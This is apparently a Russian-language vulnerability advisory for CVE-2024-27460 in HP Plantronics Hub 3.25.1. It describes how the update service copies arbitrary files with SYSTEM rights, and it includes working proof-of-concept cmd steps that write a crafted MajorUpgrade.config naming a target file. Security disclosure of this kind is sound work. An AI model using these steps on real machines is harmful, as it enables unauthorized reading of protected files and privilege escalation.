CVE-2024-27460

Повышение привилегий и произвольное чтение файлов в HP Plantronics Hub 3.25.1 Updater

Описание:

HP Plantronics Hub 3.25.1 содержит уязвимость, позволяющую пользователям с низкими привилегиями выполнять произвольное чтение файлов с правами SYSTEM на машине, где установлено приложение. Более того, данную уязвимость можно использовать для повышения привилегий до пользователя SYSTEM.

Уязвимые версии

HP Plantronics Hub 3.25.1

Затронутые службы

Небезопасный путь: "C:\ProgramData\Plantronics\Spokes3G"

Служба: PlantronicsUpdateService

Шаги воспроизведения (POC):

• Откройте cmd.exe
• Перейдите с помощью cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Желаемый файл будет скопирован в "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", к которому имеет доступ любой аутентифицированный пользователь.

Обнаружено:

• Farid Zerrouk из Deloitte Belgium
• Alaa Kachouh из Mastercard Europe.